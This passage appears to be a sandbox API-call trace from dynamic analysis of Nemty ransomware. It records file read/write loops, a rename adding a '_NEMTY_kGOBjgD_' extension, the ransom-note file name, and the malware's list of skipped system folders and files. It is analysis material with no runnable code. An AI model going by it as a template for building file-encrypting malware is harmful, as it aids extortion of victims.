lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0043.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0043.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0043.774] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.774] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0043.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0043.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.775] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.784] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.784] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.794] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.794] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.804] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.804] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.814] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.814] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.823] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.823] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.833] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.833] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.843] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.852] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.853] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.862] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.862] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.872] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.872] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.878] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0043.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.885] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0043.885] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0043.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0043.885] CloseHandle (hObject=0xffffffff) returned 0 [0043.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0043.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0043.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0043.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0043.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0043.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0043.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0043.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0043.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0043.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0043.885] MoveFileW (lpExistingFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0043.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0043.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0043.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0043.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0043.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0043.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0043.886] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdc87dd0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcdc87dd0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcdc87dd0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0043.886] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0043.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0043.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0043.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0043.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0043.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0043.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0043.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0043.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0043.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0043.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0043.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0043.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0043.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0043.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0043.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0043.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0043.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0043.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0043.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0043.887] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdc87dd0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcdc87dd0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcdc87dd0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0043.887] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0043.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0043.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0043.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0043.887] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0043.887] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0043.887] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0043.887] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0043.887] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0043.887] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0043.888] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0043.888] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0043.888] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0043.888] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0043.888] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0043.888] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0043.888] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0043.888] lstrcmpiW (lpString1="en-US", lpString2="AUTOEXEC.BAT") returned 1 [0043.888] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0043.888] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0043.888] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0043.888] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0043.888] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0043.888] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0043.888] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0043.888] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0043.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0043.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0043.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0043.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0043.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0043.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0043.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0043.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0043.888] MultiByteToWideChar (in: 